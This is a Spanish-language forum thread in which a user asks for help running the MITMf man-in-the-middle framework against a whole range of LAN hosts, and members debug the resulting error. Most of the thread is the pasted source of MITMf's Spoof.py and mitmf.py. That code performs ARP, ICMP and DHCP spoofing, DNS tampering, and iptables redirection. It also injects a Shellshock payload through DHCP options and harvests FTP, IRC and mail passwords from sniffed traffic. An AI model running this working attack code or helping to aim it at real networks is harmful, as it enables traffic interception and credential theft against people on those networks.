Hola a todos, mi problema es que a la hora de utilizar el framework MITMf, no me deja ponerme en medio de muchos hosts a la vez, es decir en vez de atacar solo a un host de la red, atacar a varios a la vez o a un rango especifico de ips, a continuación os escribo cual es el comando que utilizo:
mitmf -i eth0 --hsts --spoof --arp --dns --gateway 192.168.1.1 --target 192.168.1.20-40
A continuación el error que me arroja el comando:
[*] MITMf v0.9 started... initializing plugins and modules
[*] ARP Spoofing enabled
Traceback (most recent call last):
File "./mitmf.py", line 113, in <module>
p.initialize(args)
File "/usr/share/mitmf/plugins/Spoof.py", line 69, in initialize
pkt = self.build_arp_req()
File "/usr/share/mitmf/plugins/Spoof.py", line 229, in build_arp_req
target_mac = getmacbyip(self.target)
File "/usr/lib/python2.7/dist-packages/scapy/layers/l2.py", line 53, in getmacbyip
tmp = map(ord, inet_aton(ip))
socket.error: illegal IP address string passed to inet_aton
P.D: Muchisimas gracias de ante mano. hhardsoft.wordpress.com (http://hhardsoft.wordpress.com)
El asunto esta en la forma que le pasas el rango de direcciones, prueba:
python mitmf.py -i eth0 --hsts --spoof --dns --arp --target 192.168.1.20-40 --gateway 192.168.1.1
Saludos.
Hola Cl0udswX, de ante mano gracias por responder, obtengo el mismo resultado alternando el orden de la puerta de enlace y el rango de ips atacadas:
Comando utilizado nuevamente:
mitmf -i eth0 --hsts --spoof --dns --arp --target 192.168.1.20-40 --gateway 192.168.1.1
Error arrojado de nuevo:
[*] MITMf v0.9 started... initializing plugins and modules
[*] ARP Spoofing enabled
Traceback (most recent call last):
File "./mitmf.py", line 113, in <module>
p.initialize(args)
File "/usr/share/mitmf/plugins/Spoof.py", line 69, in initialize
pkt = self.build_arp_req()
File "/usr/share/mitmf/plugins/Spoof.py", line 229, in build_arp_req
target_mac = getmacbyip(self.target)
File "/usr/lib/python2.7/dist-packages/scapy/layers/l2.py", line 53, in getmacbyip
tmp = map(ord, inet_aton(ip))
socket.error: illegal IP address string passed to inet_aton
El sistema operativo con el cual estoy utilizando este framework, es Kali Linux 2.0, la manera en la que instale este framework, fue con:
apt-get install mitmf
P.D: Si alguien me ayudase a resolver este problema, o a buscar una alternativa a este framework se lo agradeceriía, gracias de ante mano a la comunidad. Saludos davidhs.
no pases los rangos con guión, pásalos con una barra, es decir, cambia el x.x.x.1-24 por x.x.x.1/24
Hola Jimeno muchas gracias por responder, me ocurre lo mismo, de ante mano te comunico que según las instrucciones para utilizar este framework, en el parámetro "--target" puedo ponerlo de las siguientes maneras: "--target 192.168.1.110", "--target 192.168.1.110,192.168.1.111", "--target 192.168.1.110-120" y "--target 192.168.1.1/24", sin animo de ofender aquí dejo las instrucciones de esta herramienta: https://github.com/byt3bl33d3r/MITMf (https://github.com/byt3bl33d3r/MITMf)
Comando utilizado:
mitmf -i eth0 --hsts --spoof --dns --arp --target 192.168.1.1/24 --gateway 192.168.1.1
Error arrojado de nuevo:
[*] MITMf v0.9 started... initializing plugins and modules
[*] ARP Spoofing enabled
Traceback (most recent call last):
File "./mitmf.py", line 113, in <module>
p.initialize(args)
File "/usr/share/mitmf/plugins/Spoof.py", line 69, in initialize
pkt = self.build_arp_req()
File "/usr/share/mitmf/plugins/Spoof.py", line 229, in build_arp_req
target_mac = getmacbyip(self.target)
File "/usr/lib/python2.7/dist-packages/scapy/layers/l2.py", line 53, in getmacbyip
tmp = map(ord, inet_aton(ip))
socket.error: illegal IP address string passed to inet_aton
P.D: Gracias por responder a todos, pero deduzco que el problema no es el comando, si no la falta de algún archivo o ejecución del script en cuestión.
El problema es claro: la función inet_aton del módulo socket está recibiendo una IP ilegal. Por lo visto, recibe de forma directa el valor del parámetro target. Para resolverlo, simplemente tenés que mirar los archivos mitmf.py y spoof.py, y ver porqué no se está obteniendo el rango de IPs como corresponde.
Por si no me expliqué bien, el problema está en que el método inet_atom (empleado en l2.py de scapy) está recibiendo una IP ilegal (por lo visto, recibe directamente el rango de IPs). El siguiente código genera el mismo error:
import socket
ip = raw_input(" [*] Target: ")
try:
socket.inet_aton(ip)
except socket.error as e:
print e
Si ponés una IP inválida (por ejemplo, 192.168.0.0/24 o 192.168.0.0-255), python arrojará un error. En tu caso, tal como vemos en el traceback, el error surge en el archivo l2.py de scapy pero, en realidad, el problema está los archivos de mitmf (mitmf.py o Spoof.py). Tenés que revisarlos y ver porqué scapy está recibiendo IPs ilegales.
Mirá bien eso y nos comentás.
Saludos!
WhiZ
Hola WhiZ, no me ha quedado muy claro lo que me has querido decir, ya que no tengo muchos conocimientos ni de programación y ni de phyton, pero me ayudaría mucho si le echases un vistazo a los archivos, aquí te los adjunto:
"Spoof.py":
#
# DNS tampering code stolen from https://github.com/DanMcInerney/dnsspoof
#
# CredHarvesting code stolen from https://github.com/DanMcInerney/creds.py
#
from twisted.internet import reactor
from twisted.internet.interfaces import IReadDescriptor
from plugins.plugin import Plugin
from time import sleep
import dns.resolver
import nfqueue
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
from scapy.all import *
import os
import sys
import threading
from base64 import b64decode
from urllib import unquote
import binascii
import random
class Spoof(Plugin):
name = "Spoof"
optname = "spoof"
desc = 'Redirect/Modify traffic using ICMP, ARP or DHCP'
has_opts = True
def initialize(self, options):
'''Called if plugin is enabled, passed the options namespace'''
self.options = options
self.interface = options.interface
self.arp = options.arp
self.icmp = options.icmp
self.dns = options.dns
self.dhcp = options.dhcp
self.shellshock = options.shellshock
self.gateway = options.gateway
#self.summary = options.summary
self.target = options.target
self.arpmode = options.arpmode
self.port = options.listen
self.hsts = options.hsts
self.manualiptables = options.manualiptables #added by [email protected]
self.debug = False
self.send = True
if os.geteuid() != 0:
sys.exit("[-] Spoof plugin requires root privileges")
if self.options.log_level == 'debug':
self.debug = True
try:
self.mac = get_if_hwaddr(self.interface)
except Exception, e:
sys.exit('[-] Error retrieving interfaces MAC address: %s' % e)
if self.arp:
if not self.gateway:
sys.exit("[-] --arp argument requires --gateway")
self.routermac = getmacbyip(self.gateway)
print "[*] ARP Spoofing enabled"
if self.arpmode == 'req':
pkt = self.build_arp_req()
elif self.arpmode == 'rep':
pkt = self.build_arp_rep()
thread_target = self.send_packets
thread_args = (pkt, self.interface, self.debug,)
elif self.icmp:
if not self.gateway:
sys.exit("[-] --icmp argument requires --gateway")
self.routermac = getmacbyip(self.gateway)
print "[*] ICMP Redirection enabled"
pkt = self.build_icmp()
thread_target = self.send_packets
thread_args = (pkt, self.interface, self.debug,)
elif self.dhcp:
print "[*] DHCP Spoofing enabled"
if self.target:
sys.exit("[-] --target argument invalid when DCHP spoofing")
self.rand_number = []
self.dhcp_dic = {}
self.dhcpcfg = options.configfile['Spoof']['DHCP']
thread_target = self.dhcp_sniff
thread_args = ()
else:
sys.exit("[-] Spoof plugin requires --arp, --icmp or --dhcp")
print "[*] Spoof plugin online"
if not self.manualiptables:
os.system('iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X')
if (self.dns or self.hsts):
print "[*] DNS Tampering enabled"
if self.dns:
self.dnscfg = options.configfile['Spoof']['DNS']
self.hstscfg = options.configfile['SSLstrip+']
if not self.manualiptables:
os.system('iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE')
self.start_dns_queue()
file = open('/proc/sys/net/ipv4/ip_forward', 'w')
file.write('1')
file.close()
if not self.manualiptables:
print '[*] Setting up iptables'
os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port %s' % self.port)
#CHarvester = CredHarvester()
t = threading.Thread(name='spoof_thread', target=thread_target, args=thread_args)
#t2 = threading.Thread(name='cred_harvester', target=CHarvester.start, args=(self.interface))
t.setDaemon(True)
t.start()
def dhcp_rand_ip(self):
pool = self.dhcpcfg['ip_pool'].split('-')
trunc_ip = pool[0].split('.'); del(trunc_ip[3])
max_range = int(pool[1])
min_range = int(pool[0].split('.')[3])
number_range = range(min_range, max_range)
for n in number_range:
if n in self.rand_number:
number_range.remove(n)
rand_number = random.choice(number_range)
self.rand_number.append(rand_number)
rand_ip = '.'.join(trunc_ip) + '.' + str(rand_number)
return rand_ip
def dhcp_callback(self, resp):
if resp.haslayer(DHCP):
xid = resp[BOOTP].xid
mac_addr = resp[Ether].src
raw_mac = binascii.unhexlify(mac_addr.replace(":", ""))
if xid in self.dhcp_dic.keys():
client_ip = self.dhcp_dic[xid]
else:
client_ip = self.dhcp_rand_ip()
self.dhcp_dic[xid] = client_ip
if resp[DHCP].options[0][1] == 1:
logging.info("Got DHCP DISCOVER from: " + mac_addr + " xid: " + hex(xid))
logging.info("Sending DHCP OFFER")
packet = (Ether(src=get_if_hwaddr(self.interface), dst='ff:ff:ff:ff:ff:ff') /
IP(src=get_if_addr(self.interface), dst='255.255.255.255') /
UDP(sport=67, dport=68) /
BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=get_if_addr(self.interface), xid=xid) /
DHCP(options=[("message-type", "offer"),
('server_id', get_if_addr(self.interface)),
('subnet_mask', self.dhcpcfg['subnet']),
('router', get_if_addr(self.interface)),
('lease_time', 172800),
('renewal_time', 86400),
('rebinding_time', 138240),
"end"]))
try:
packet[DHCP].options.append(tuple(('name_server', self.dhcpcfg['dns_server'])))
except KeyError:
pass
sendp(packet, iface=self.interface, verbose=self.debug)
if resp[DHCP].options[0][1] == 3:
logging.info("Got DHCP REQUEST from: " + mac_addr + " xid: " + hex(xid))
packet = (Ether(src=get_if_hwaddr(self.interface), dst='ff:ff:ff:ff:ff:ff') /
IP(src=get_if_addr(self.interface), dst='255.255.255.255') /
UDP(sport=67, dport=68) /
BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=get_if_addr(self.interface), xid=xid) /
DHCP(options=[("message-type", "ack"),
('server_id', get_if_addr(self.interface)),
('subnet_mask', self.dhcpcfg['subnet']),
('router', get_if_addr(self.interface)),
('lease_time', 172800),
('renewal_time', 86400),
('rebinding_time', 138240)]))
try:
packet[DHCP].options.append(tuple(('name_server', self.dhcpcfg['dns_server'])))
except KeyError:
pass
if self.shellshock:
logging.info("Sending DHCP ACK with shellshock payload")
packet[DHCP].options.append(tuple((114, "() { ignored;}; " + self.shellshock)))
packet[DHCP].options.append("end")
else:
logging.info("Sending DHCP ACK")
packet[DHCP].options.append("end")
sendp(packet, iface=self.interface, verbose=self.debug)
def dhcp_sniff(self):
sniff(filter="udp and (port 67 or 68)", prn=self.dhcp_callback, iface=self.interface)
def send_packets(self, pkt, interface, debug):
while self.send:
sendp(pkt, inter=2, iface=interface, verbose=debug)
def build_icmp(self):
pkt = IP(src=self.gateway, dst=self.target)/ICMP(type=5, code=1, gw=get_if_addr(self.interface)) /\
IP(src=self.target, dst=self.gateway)/UDP()
return pkt
def build_arp_req(self):
if self.target is None:
pkt = Ether(src=self.mac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mac, psrc=self.gateway, pdst=self.gateway)
elif self.target:
target_mac = getmacbyip(self.target)
if target_mac is None:
sys.exit("[-] Error: Could not resolve targets MAC address")
pkt = Ether(src=self.mac, dst=target_mac)/ARP(hwsrc=self.mac, psrc=self.gateway, hwdst=target_mac, pdst=self.target)
return pkt
def build_arp_rep(self):
if self.target is None:
pkt = Ether(src=self.mac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mac, psrc=self.gateway, op=2)
elif self.target:
target_mac = getmacbyip(self.target)
if target_mac is None:
sys.exit("[-] Error: Could not resolve targets MAC address")
pkt = Ether(src=self.mac, dst=target_mac)/ARP(hwsrc=self.mac, psrc=self.gateway, hwdst=target_mac, pdst=self.target, op=2)
return pkt
def resolve_domain(self, domain):
try:
#logging.info("Resolving -> %s" % domain)
answer = dns.resolver.query(domain, 'A')
real_ips = []
for rdata in answer:
real_ips.append(rdata.address)
if len(real_ips) > 0:
return real_ips
except Exception:
logging.debug("Error resolving " + domain)
def nfqueue_callback(self, payload, *kargs):
data = payload.get_data()
pkt = IP(data)
if not pkt.haslayer(DNSQR):
payload.set_verdict(nfqueue.NF_ACCEPT)
else:
#logging.info("Got DNS packet for %s %s" % (pkt[DNSQR].qname, pkt[DNSQR].qtype))
if self.dns:
for k, v in self.dnscfg.items():
if k in pkt[DNSQR].qname:
self.modify_dns(payload, pkt, v)
elif self.hsts:
if (pkt[DNSQR].qtype is 28 or pkt[DNSQR].qtype is 1):
for k,v in self.hstscfg.items():
if v == pkt[DNSQR].qname[:-1]:
ip = self.resolve_domain(k)
if ip:
self.modify_dns(payload, pkt, ip)
if 'wwww' in pkt[DNSQR].qname:
ip = self.resolve_domain(pkt[DNSQR].qname[1:-1])
if ip:
self.modify_dns(payload, pkt, ip)
if 'web' in pkt[DNSQR].qname:
ip = self.resolve_domain(pkt[DNSQR].qname[3:-1])
if ip:
self.modify_dns(payload, pkt, ip)
def modify_dns(self, payload, pkt, ip):
spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst) /\
UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport) /\
DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd)
if self.hsts:
spoofed_pkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip[0]); del ip[0] #have to do this first to initialize the an field
for i in ip:
spoofed_pkt[DNS].an.add_payload(DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=i))
payload.set_verdict_modified(nfqueue.NF_ACCEPT, str(spoofed_pkt), len(spoofed_pkt))
logging.info("%s Resolving %s for HSTS bypass" % (pkt[IP].src, pkt[DNSQR].qname[:-1]))
if self.dns:
spoofed_pkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip)
logging.info("%s Modified DNS packet for %s" % (pkt[IP].src, pkt[DNSQR].qname[:-1]))
def start_dns_queue(self):
self.q = nfqueue.queue()
self.q.set_callback(self.nfqueue_callback)
self.q.fast_open(0, socket.AF_INET)
self.q.set_queue_maxlen(5000)
reactor.addReader(self)
self.q.set_mode(nfqueue.NFQNL_COPY_PACKET)
def fileno(self):
return self.q.get_fd()
def doRead(self):
self.q.process_pending(100)
def connectionLost(self, reason):
reactor.removeReader(self)
def logPrefix(self):
return 'queue'
def add_options(self, options):
group = options.add_mutually_exclusive_group(required=False)
group.add_argument('--arp', dest='arp', action='store_true', default=False, help='Redirect traffic using ARP spoofing')
group.add_argument('--icmp', dest='icmp', action='store_true', default=False, help='Redirect traffic using ICMP redirects')
group.add_argument('--dhcp', dest='dhcp', action='store_true', default=False, help='Redirect traffic using DHCP offers')
options.add_argument('--dns', dest='dns', action='store_true', default=False, help='Modify intercepted DNS queries')
options.add_argument('--shellshock', type=str, metavar='PAYLOAD', dest='shellshock', default=None, help='Trigger the Shellshock vuln when spoofing DHCP, and execute specified command')
options.add_argument('--gateway', dest='gateway', help='Specify the gateway IP')
options.add_argument('--target', dest='target', help='Specify a host to poison [default: subnet]')
options.add_argument('--arpmode', dest='arpmode', default='req', help=' ARP Spoofing mode: requests (req) or replies (rep) [default: req]')
options.add_argument('--manual-iptables', dest='manualiptables', action='store_true', default=False, help='Do not setup iptables or flush them automatically')
#options.add_argument('--summary', action='store_true', dest='summary', default=False, help='Show packet summary and ask for confirmation before poisoning')
def finish(self):
self.send = False
sleep(3)
file = open('/proc/sys/net/ipv4/ip_forward', 'w')
file.write('0')
file.close()
if not self.manualiptables:
print '\n[*] Flushing iptables'
os.system('iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X')
if (self.dns or self.hsts):
try:
self.q.unbind(socket.AF_INET)
self.q.close()
except:
pass
if self.arp:
print '[*] Re-arping network'
pkt = Ether(src=self.routermac, dst='ff:ff:ff:ff:ff:ff')/ARP(psrc=self.gateway, hwsrc=self.routermac, op=2)
sendp(pkt, inter=1, count=5, iface=self.interface)
class CredHarvester():
fragged = 0
imapauth = 0
popauth = 0
ftpuser = None # Necessary since user and pass come in separate packets
ircnick = None # Necessary since user and pass come in separate packets
# For concatenating fragmented packets
prev_pkt = {6667:{}, # IRC
143:{}, # IMAP
110:{}, # POP3
26:{}, # SMTP
25:{}, # SMTP
21:{}} # FTP
def start(self, interface):
sniff(prn=self.pkt_sorter, iface=interface)
def pkt_sorter(self, pkt):
if pkt.haslayer(Raw) and pkt.haslayer(TCP):
self.dest = pkt[IP].dst
self.src = pkt[IP].src
self.dport = pkt[TCP].dport
self.sport = pkt[TCP].sport
self.ack = pkt[TCP].ack
self.seq = pkt[TCP].seq
self.load = str(pkt[Raw].load)
if self.dport == 6667:
""" IRC """
port = 6667
self.header_lines = self.hb_parse(port) # Join fragmented pkts
return self.irc(port)
elif self.dport == 21 or self.sport == 21:
""" FTP """
port = 21
self.prev_pkt[port] = self.frag_joiner(port) # No headers in FTP so no need for hb_parse
self.ftp(port)
elif self.sport == 110 or self.dport == 110:
""" POP3 """
port = 110
self.header_lines = self.hb_parse(port) # Join fragmented pkts
self.mail_pw(port)
elif self.sport == 143 or self.dport == 143:
""" IMAP """
port = 143
self.header_lines = self.hb_parse(port) # Join fragmented pkts
self.mail_pw(port)
def headers_body(self, protocol):
try:
h, b = protocol.split("\r\n\r\n", 1)
return h, b
except Exception:
h, b = protocol, ''
return h, b
def frag_joiner(self, port):
self.fragged = 0
if len(self.prev_pkt[port]) > 0:
if self.ack in self.prev_pkt[port]:
self.fragged = 1
return {self.ack:self.prev_pkt[port][self.ack]+self.load}
return {self.ack:self.load}
def hb_parse(self, port):
self.prev_pkt[port] = self.frag_joiner(port)
self.headers, self.body = self.headers_body(self.prev_pkt[port][self.ack])
return self.headers.split('\r\n')
def mail_pw(self, port):
load = self.load.strip('\r\n')
if self.dport == 143:
auth_find = 'authenticate plain'
proto = 'IMAP'
auth = self.imapauth
self.imapauth = self.mail_pw_auth(load, auth_find, proto, auth, port)
elif self.dport == 110:
auth_find = 'AUTH PLAIN'
proto = 'POP'
auth = self.popauth
self.popauth = self.mail_pw_auth(load, auth_find, proto, auth, port)
def mail_pw_auth(self, load, auth_find, proto, auth, port):
if auth == 1:
user, pw = load, 0
logging.warning('[%s] %s auth: %s' % (self.src, proto, load))
self.b64decode(load, port)
return 0
elif auth_find in load:
return 1
def b64decode(self, load, port):
b64str = load
try:
decoded = b64decode(b64str).replace('\x00', ' ')[1:] # delete space at beginning
except Exception:
decoded = ''
# Test to see if decode worked
if '@' in decoded:
logging.debug('%s Decoded: %s' % (self.src, decoded))
decoded = decoded.split()
def ftp(self, port):
"""Catch FTP usernames, passwords, and servers"""
load = self.load.replace('\r\n', '')
if port == self.dport:
if 'USER ' in load:
user = load.strip('USER ')
logging.warning('[%s > %s] FTP user: ' % (self.src, self.dest), user)
self.ftpuser = user
elif 'PASS ' in load:
pw = load.strip('PASS ')
logging.warning('[%s > %s] FTP password:' % (self.src, self.dest), pw)
def irc(self, port):
load = self.load.split('\r\n')[0]
if 'NICK ' in load:
self.ircnick = load.strip('NICK ')
logging.warning('[%s > %s] IRC nick: %s' % (self.src, self.dest, self.ircnick))
elif 'NS IDENTIFY ' in load:
ircpass = load.strip('NS IDENTIFY ')
logging.warning('[%s > %s] IRC password: %s' % (self.src, self.dest, ircpass))
"mitmf.py":
#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
logging.getLogger("requests").setLevel(logging.WARNING) #Disables "Starting new HTTP Connection (1)" log message
import argparse
import sys
import os
import threading
import core.responder.settings as settings
from argparse import RawTextHelpFormatter
from twisted.web import http
from twisted.internet import reactor
from core.logger import logger
from core.banners import get_banner
from plugins import *
print get_banner()
mitmf_version = '0.9.8'
mitmf_codename = 'The Dark Side'
if os.geteuid() != 0:
sys.exit("[-] The derp is strong with this one")
parser = argparse.ArgumentParser(description="MITMf v{} - '{}'".format(mitmf_version, mitmf_codename),
version="{} - '{}'".format(mitmf_version, mitmf_codename),
usage='mitmf.py -i interface [mitmf options] [plugin name] [plugin options]',
epilog="Use wisely, young Padawan.",
formatter_class=RawTextHelpFormatter)
#add MITMf options
sgroup = parser.add_argument_group("MITMf", "Options for MITMf")
sgroup.add_argument("--log-level", type=str,choices=['debug', 'info'], default="info", help="Specify a log level [default: info]")
sgroup.add_argument("-i", dest='interface', required=True, type=str, help="Interface to listen on")
sgroup.add_argument("-c", dest='configfile', metavar="CONFIG_FILE", type=str, default="./config/mitmf.conf", help="Specify config file to use")
sgroup.add_argument("-p", "--preserve-cache", action="store_true", help="Don't kill client/server caching")
sgroup.add_argument("-r", '--read-pcap', type=str, help='Parse specified pcap for credentials and exit')
sgroup.add_argument("-l", dest='listen_port', type=int, metavar="PORT", default=10000, help="Port to listen on (default 10000)")
sgroup.add_argument("-f", "--favicon", action="store_true", help="Substitute a lock favicon on secure requests.")
sgroup.add_argument("-k", "--killsessions", action="store_true", help="Kill sessions in progress.")
sgroup.add_argument("-F", "--filter", type=str, help='Filter to apply to incoming traffic')
#Initialize plugins and pass them the parser NameSpace object
plugins = [plugin(parser) for plugin in plugin.Plugin.__subclasses__()]
if len(sys.argv) == 1:
parser.print_help()
sys.exit(1)
options = parser.parse_args()
#Set the log level
logger().log_level = logging.__dict__[options.log_level.upper()]
from core.logger import logger
formatter = logging.Formatter("%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("MITMf", formatter)
from core.netcreds import NetCreds
if options.read_pcap:
NetCreds().parse_pcap(options.read_pcap)
#Check to see if we supplied a valid interface, pass the IP and MAC to the NameSpace object
from core.utils import get_ip, get_mac, shutdown
options.ip = get_ip(options.interface)
options.mac = get_mac(options.interface)
settings.Config.populate(options)
log.debug("MITMf started: {}".format(sys.argv))
#Start Net-Creds
print "[*] MITMf v{} - '{}'".format(mitmf_version, mitmf_codename)
NetCreds().start(options.interface, options.ip)
print "|"
print "|_ Net-Creds v{} online".format(NetCreds.version)
from core.proxyplugins import ProxyPlugins
ProxyPlugins().all_plugins = plugins
for plugin in plugins:
#load only the plugins that have been called at the command line
if vars(options)[plugin.optname] is True:
ProxyPlugins().add_plugin(plugin)
print "|_ {} v{}".format(plugin.name, plugin.version)
if plugin.tree_info:
for line in xrange(0, len(plugin.tree_info)):
print "| |_ {}".format(plugin.tree_info.pop())
plugin.setup_logger()
plugin.initialize(options)
if plugin.tree_info:
for line in xrange(0, len(plugin.tree_info)):
print "| |_ {}".format(plugin.tree_info.pop())
plugin.start_config_watch()
if options.filter:
from core.packetfilter import PacketFilter
pfilter = PacketFilter(options.filter)
print "|_ PacketFilter online"
print " |_ Applying filter {} to incoming packets".format(options.filter)
try:
pfilter.start()
except KeyboardInterrupt:
pfilter.stop()
shutdown()
else:
from core.sslstrip.CookieCleaner import CookieCleaner
from core.sslstrip.StrippingProxy import StrippingProxy
from core.sslstrip.URLMonitor import URLMonitor
URLMonitor.getInstance().setFaviconSpoofing(options.favicon)
URLMonitor.getInstance().setCaching(options.preserve_cache)
CookieCleaner.getInstance().setEnabled(options.killsessions)
strippingFactory = http.HTTPFactory(timeout=10)
strippingFactory.protocol = StrippingProxy
reactor.listenTCP(options.listen_port, strippingFactory)
for plugin in plugins:
if vars(options)[plugin.optname] is True:
plugin.reactor(strippingFactory)
print "|_ Sergio-Proxy v0.2.1 online"
print "|_ SSLstrip v0.9 by Moxie Marlinspike online"
#Start mitmf-api
from core.mitmfapi import mitmfapi
print "|"
print "|_ MITMf-API online"
mitmfapi().start()
#Start the HTTP Server
from core.servers.HTTP import HTTP
HTTP().start()
print "|_ HTTP server online"
#Start DNSChef
from core.servers.DNS import DNSChef
DNSChef().start()
print "|_ DNSChef v{} online".format(DNSChef.version)
#Start the SMB server
from core.servers.SMB import SMB
SMB().start()
print "|_ SMB server online\n"
#start the reactor
reactor.run()
print "\n"
shutdown()
P.D: Perdón por la cantidad de información pero me gustaría que me ayudasen a encontrar el error, GRACIAS DE ANTEMANO A TODOS.
El error ocurre en el archivo l2.py, más concretamente en la función getmacbyip. En ella, el problema está en que la función inet_aton está recibiendo una IP ilegal (línea 5 de nuestro código). Como veremos más adelante, esto se debe a que el parámetro ip que recibe getmacbyip no es instancia de la clase Net, sino de str, es decir, inet_aton estaría recibiendo un rango de IPs y no un valor único, hecho que considera ilegal. Veamos el código para hacernos una mejor idea:
#l2.py
def getmacbyip(ip, chainCC=0):
"""Return MAC address corresponding to a given IP address"""
if isinstance(ip,Net):
ip = iter(ip).next()
tmp = map(ord, inet_aton(ip))
if (tmp[0] & 0xf0) == 0xe0: # mcast @
return "01:00:5e:%.2x:%.2x:%.2x" % (tmp[1]&0x7f,tmp[2],tmp[3])
iff,a,gw = conf.route.route(ip)
if ( (iff == "lo") or (ip == conf.route.get_if_bcast(iff)) ):
return "ff:ff:ff:ff:ff:ff"
if gw != "0.0.0.0":
ip = gw
mac = conf.netcache.arp_cache.get(ip)
if mac:
return mac
res = srp1(Ether(dst=ETHER_BROADCAST)/ARP(op="who-has", pdst=ip),
type=ETH_P_ARP,
iface = iff,
timeout=2,
verbose=0,
chainCC=chainCC,
nofilter=1)
if res is not None:
mac = res.payload.hwsrc
conf.netcache.arp_cache[ip] = mac
return mac
return None
Teniendo un mejor conocimiento de esta función, la pregunta que nos tenemos que hacer ahora es: ¿quién es el responsable de pasar una IP ilegal? Según el traceback, la culpa la tiene el método build_arp_req de la clase Spoof:
#Spoof.py
class Spoof(Plugin):
def build_arp_rep(self):
if self.target is None:
pkt = Ether(src=self.mac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mac, psrc=self.gateway, op=2)
elif self.target:
target_mac = getmacbyip(self.target)
if target_mac is None:
sys.exit("[-] Error: Could not resolve targets MAC address")
pkt = Ether(src=self.mac, dst=target_mac)/ARP(hwsrc=self.mac, psrc=self.gateway, hwdst=target_mac, pdst=self.target, op=2)
return pkt
Aquí se ve claramente el problema: en la línea 6 de nuestro código, la función getmacbyip está recibiendo el valor del atributo target, el cual parece no estar preprocesado, es decir, el método build_arp_rep estaría pasando en crudo el valor del atributo target, sin importar de qué tipo de dato se trate. A este método le da lo mismo que target sea una instancia de la clase Net o una cadena alfanumérica con un rango de IPs.
Con esto, entendemos que no es su función constatar que el atributo target contenga un valor legal para pasarle al método getmacbyip. ¿A quién le toca, entonces, ocuparse de esta tarea? Vamos a ver... Según el traceback, quien llama al método build_arp_req es el método initialize de la misma clase (Spoof). Miremos su código:
class Spoof(Plugin):
def initialize(self, options):
self.interface = options.interface
self.arp = options.arp
self.gateway = options.gateway
self.target = options.target
self.arpmode = options.arpmode
if self.arp:
if not self.gateway:
sys.exit("[-] --arp argument requires --gateway")
self.routermac = getmacbyip(self.gateway)
print "[*] ARP Spoofing enabled"
if self.arpmode == 'req':
pkt = self.build_arp_req()
elif self.arpmode == 'rep':
pkt = self.build_arp_rep()
thread_target = self.send_packets
thread_args = (pkt, self.interface, self.debug,)
Evidentemente, el valor del atributo target es, al momento de ser empleado por el método build_arp_req, exactamente idéntico al de options.target. Esto significa que en la versión que estás usando de mitmf, la clase Spoof no hace ningún tratamiento de la opción target, pasándole en crudo el valor de la misma a la función getmacbyip, lo que hace imposible indicar un rango de IPs: sólo podés indicar una o ninguna. Esas son las dos opciones que tenemos en esta versión.
De hecho, si comparamos la versión que vos usás con la versión más nueva, vemos que dentro del método add_options (heredado de la clase Plugin), ahora llamado options, la opción target pasó a llamarse targets.
#Spoof.py (versión anterior)
class Spoof(Plugin):
def add_options(self, options):
group = options.add_mutually_exclusive_group(required=False)
group.add_argument('--arp', dest='arp', action='store_true', default=False, help='Redirect traffic using ARP spoofing')
group.add_argument('--icmp', dest='icmp', action='store_true', default=False, help='Redirect traffic using ICMP redirects')
group.add_argument('--dhcp', dest='dhcp', action='store_true', default=False, help='Redirect traffic using DHCP offers')
options.add_argument('--dns', dest='dns', action='store_true', default=False, help='Modify intercepted DNS queries')
options.add_argument('--shellshock', type=str, metavar='PAYLOAD', dest='shellshock', default=None, help='Trigger the Shellshock vuln when spoofing DHCP, and execute specified command')
options.add_argument('--gateway', dest='gateway', help='Specify the gateway IP')
options.add_argument('--target', dest='target', help='Specify a host to poison [default: subnet]')
options.add_argument('--arpmode', dest='arpmode', default='req', help=' ARP Spoofing mode: requests (req) or replies (rep) [default: req]')
options.add_argument('--manual-iptables', dest='manualiptables', action='store_true', default=False, help='Do not setup iptables or flush them automatically')
#options.add_argument('--summary', action='store_true', dest='summary', default=False, help='Show packet summary and ask for confirmation before poisoning')
#Spoof.py (versión actual)
class Spoof(object):
def options(self, options):
group = options.add_mutually_exclusive_group(required=False)
group.add_argument('--arp', dest='arp', action='store_true', help='Redirect traffic using ARP spoofing')
group.add_argument('--icmp', dest='icmp', action='store_true', help='Redirect traffic using ICMP redirects')
group.add_argument('--dhcp', dest='dhcp', action='store_true', help='Redirect traffic using DHCP offers')
options.add_argument('--dns', dest='dns', action='store_true', help='Proxy/Modify DNS queries')
options.add_argument('--netmask', dest='netmask', type=str, default='255.255.255.0', help='The netmask of the network')
options.add_argument('--shellshock', type=str, metavar='PAYLOAD', dest='shellshock', help='Trigger the Shellshock vuln when spoofing DHCP, and execute specified command')
options.add_argument('--gateway', dest='gateway', help='Specify the gateway IP')
